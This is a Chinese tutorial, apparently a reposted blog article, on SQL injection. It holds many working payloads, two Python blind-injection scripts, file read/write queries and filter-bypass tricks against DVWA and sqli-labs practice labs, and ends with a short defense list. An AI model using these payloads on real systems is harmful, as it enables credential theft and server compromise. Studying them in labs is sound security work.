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本篇内容介绍了“SQL注入原理是什么”的有关知识，在实际案例的操作过程中，不少人都会遇到这样的困境，接下来就让小编带领大家学习一下如何处理这些情况吧！希望大家仔细阅读，能够学有所成！
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0x01.SQL注入产生的因素
（1）不严格校验 （2）恶意修改 （3）成功拼接并执行
0x02.检测是否存在注入的方法：
1.判断是否有注入（判断是否有未严格校验），什么类型的注入
（1）可控参数的改变能否影响页面显示结果
（2）输入的sql语句是否能报错--能通过数据库的报错，可以看到一些语句痕迹
（3）输入的sql语句能否不报错--语句能够成功闭合
2.语句是否能够被恶意修改
3.是否能否成功执行
4.获取想要的数据
0x03.SQL注入类型简述
1.布尔查询
or查询：可查到定义表中的字段值
2.union查询
（1）猜字段数 （select 1,2,3.... 或者 order by 1,order by 3... 都是看报错）
（2）如何获取库名，表名，字段名
（3）权限问题
3.information_schema(数据库字典)
information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。 如数据库名，数据库的表，表栏的数据类型与访问权限等。 再简单点，这台MySQL服务器上，到底有哪些数据库、各个数据库有哪些表， 每张表的字段类型是什么，各个数据库要什么权限才能访问，等等信息都保存在information_schema里面。 information_schema.schemata中的列schema_name记录了所有数据库的名字 information_schema.tables中的列table_schema记录了所有数据库的名字 information_schema.tables中的列table_name记录了所有数据库的表的名字 information_schema.columns中的列table_schema记录了所有数据库的名字 information_schema.columns中的列table_name记录了所有数据库的表的名字 information_schema.columns中的列column_name记录了所有数据库的表的列的名字
MySQL版本5.0 以下没有 information_schema 这个系统表，无法列表名等，只能暴力跑表名。
5.0 以下是多用户单操作，5.0 以上是多用户多操做
example: select concat(table_name) from information_schema.tables where table_schema=database()
4.手动注入
(1)基于错误的注入：判断注入点？单引号？
(2)基于布尔的注入：闭合前面的sql语句，构造or和and的逻辑语句，-- 用来注释后面所有语句
(3)基于union的注入：
user()：当前用户名 database()：当前数据库名 version()：数据库版本信息
'union select 1,table_schema from information_schema.tables -- hh #查库名 'union select 1,table_name from information_shcema.tables where table_schema="..." #查当前库中所有表 'union select 1,column_name from information_schema.columns where table_name="..." #查当前表中所有字段
#concat实现字段拼接 'union select user,concat(first_name,' ',last_name,' ',password) from users -- ' #group_concat #concat_ws
5.报错注入
`（1）extractvalue(xml_document,Xpath_string) 从目标XML中返回包含所查询值的字符串` `（2）Updatexml(xml_document,Xpath_string,new_value) 注入报错点在Xpath_string 位置,因此其它位置可以任意处理,譬如写1.`
DVWA Security='low':
1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# 0x7e为~的16进制ASCII码 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)# 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)# 1' and updatexml(1,concat(0x7e,(select group_concat(user_id,last_name) from users),0x7e),1)#
其中:
XML_document是string格式，为XML文档对象的名称
Xpath_string(Xpath格式的字符串)，自主学习。
new_value,string格式，替换查找到的符合条件的数据
6.双注入（双查询报错注入，两个select）
原理: 利用group by主键冲突报错获取数据库信息.
几个函数:
floor() #向下取整 rand() #返回（0,1）随机值,rand()*2 返回(0,2)随机值 floor(rand()*2) # 向下取整则返回值为0或1. group by #分组 count() #返回当前的表的所有的记录数
举例:
Sqli-labs Less-11(payload)
uname=admin' union select 1,count(1) from information_schema.tables group by group_concat( floor(rand()*2),(select table_name from information_schema.tables where table_schema='security' )) %23&passwd=123
7.布尔盲注
普通注入不能直接回显错误信息。
和时间盲注相同的是，每次只判断一个字符。
?id=1' and substr(database(),1,1)=1 #
示例:
Sqli-labs Less-6
该关卡只有两种返回结果，当查询存在时返回“You are in...”，否则返回为空。
?id=1' and 1=1 --+回显You are in...........
?id=1' and 1=2 --+不回显
根据这种情况，可以由substr()函数每次判断一个字符，python脚本进行布尔盲注,具体如下:
import requests
s = requests.Session()
url = 'http://localhost:8080/sqli-labs/Less-6/'
payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,'
data = ''
for i in range(50):
for j in payloads:
payload = f"?id=1\" and substr(binary database(),{i},1)='{j}'%23"
#payload = f"?id=1\" and substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'%23"
#payload = f"?id=1" and substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'%23"
#payload = f"?id=1" and substr((select binary group_concat(password,' ') from security.users) ,{i},1)='{j}'%23"
if "You are in..........." in s.get(url+payload).text:
data += j
break
print(data)8.时间盲注
?id=1' union select(if(substr(database(),1,1))>1,sleep(3),1) #此外还有bench()函数
示例：
Sqli-labs Less-9
此处可以发现无论查询对错都只回显You are in...........
测试?id=1' and sleep(3)%23 页面会延时3秒再回显，判断为时间盲注.
编写脚本进行时间盲注，如下：
import requests
url = 'http://localhost:8080/sqli-labs/Less-9/'
payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,'
data = ''
for i in range(50):
for j in payloads:
payload = f"?id=1' and if((substr(binary database(),{i},1)='{j}'),sleep(1),1)%23"
#正确的时候等待1秒钟，不正确的时候直接返回
# payload = f"?id=1' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(1),1)%23"
#payload = f"?id=1' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(1),1)%23"
try:
r = requests.get(url+payload, timeout=1)
except Exception:
data += j
print(data)
break9.cookie注入
注入位置在http请求的cookie处
10.HTTP-Referer注入
注入位置在http请求的Referer处
11.SQL注入读取文件
Load_file(filename): 读取文件并返回改文件的内容作为一个字符串。
使用条件：
A.必须有权限读取且文件必须完全可读
B.欲读取文件必须在服务器上
C.必须指定文件的完整路径(绝对路径)
D.欲读取文件的大小必须小于max_allowed_packet示例:
?id=-1' union select 1,2,Load_file("D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php") --+
写文件（into outfile)：
?id=-1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php" --+
示例:
Sqli-labs Less-7
测试发现id=1'报错，但把后面的语句注释掉扔报错，还有括号闭合，发现加两个括号判断为(('$id'))闭合，再根据提示Use outfile…，应该是使用导出语句了。
（1）首先判断是否有权限：
?id=1')) and (select count(*) from mysql.user)>0 --+
没有报错，具有root权限。
（2）于是将可以数据导出, 导出所有表：
?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
（3）导出user表中所有列名：
?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
（4）导出用户名和密码
?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+
注意：在Mysql中，需要注意路径转义的问题，即用双斜杠分隔。
11.绕过
(1).绕过注释符过滤(#,--+)
示例：Sqli-labs Less-13
方法一(报错注入) ?id=1' or (extractvalue(1,concat(0x7e,version()))) or ' ?id=1' or (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) or ' 方法二(闭合后面的内容) ?id=' union select 1,' ...
(2).绕过and-or过滤
01.大小写绕过:
or的几种形式(Or,oR,OR,||) and的几种形式(And,...,&&) #对大小写敏感可使用
02.双写绕过
?id=1' oorrder by 1 --+ 判断回显列数也可用： ?id=1' union select 1,2,3... #(逐个尝试比较慢) 之后使用报错注入即可： ?id=-1' oorr extractvalue(1,concat(0x7e,database())) --+ #(获取当前数据库名) 或者使用： ?id=-1' || extractvalue(1,concat(0x7e,database())) --+
其他字符代替： %09 TAB 键(水平) %0a 新建一行 %0b TAB 键(垂直) %0c 新的一页 %0d return 功能 %a0 空格 /**/ 代替空格 ?id=1' or (内容) or (内容)' #一种注入的形式
(4).内联注释过滤
形如/*!(关键字)*/
example:
/*!and*/ /*!select*/
(5).特殊字符转义与宽字节注入
特殊字符转义的三种方法:
(1)自定义转义函数
function check_addslashes($string){
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);
//escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash
return $string;
}(2)调用函数 addslashes()
(3)调用函数 mysql_real_escape_string()
这几种方法都可能被宽字节注入绕过
宽字节注入原理分析:
以单引号'为例，它被转义为'，我们的目标是去掉反斜杠，将'逃逸出来。现在我们不输入'，而是输入%df'，被转义后它变成：%df'，也相当于%df%5c%27(%5c表示反斜杠\ )，之后在数据库查询前由于使用了GBK多字节编码，%df%5c会gbk编码转换成为汉字"運"，从而使得%27，也就是单引号逃逸。
宽字节注入与普通注入payload上的区别就是：在会被转义的字符前加上%df,''被吃掉，从而使得被转义字符逃逸。当然此处不一定必须是%df,只要(填充的字符+%5c)在GBK编码中，可以使得被转义字符逃逸就行，之后进行后续注入。
示例：Sqli-labs Less-32
payload1:?id=1'
可以看到此处的单引号被转义
payload2:?id=1%df'
根本原因:
character_set_client(客户端的字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如，iconv、mb_convert_encoding 使用不当。
解决方法:
统一数据库、Web 应用、操作系统所使用的字符集，避免解析产生差异，最好都设置为 UTF-8。或对数据进行正确的转义，如 mysql_real_escape_string+mysql_set_charset 的使用。
(6).二次注入
(7).过滤函数绕过
0x04.SQL注入防御
（1）代码层
01.黑名单 02.白名单 03.敏感字符过滤 04.使用框架安全查询 05.规范输出
（2）配置层
01.开启GPC 02.使用UTF-8
（3）物理层
01.WAF 02.数据库审计 03.云防护 04.IPS(入侵防御系统)
01.使用安全的API 02.对输入的特殊字符进行Escape转义处理 03.使用白名单来规范化输入验证方法 04.对客户端输入进行控制，不允许输入SQL注入相关的特殊字符 05.服务器端在提交数据库进行SQL查询之前，对特殊字符进行过滤、转义、替换、删除。
“SQL注入原理是什么”的内容就介绍到这里了，感谢大家的阅读。如果想了解更多行业相关的知识可以关注创新互联网站，小编将为大家输出更多高质量的实用文章！
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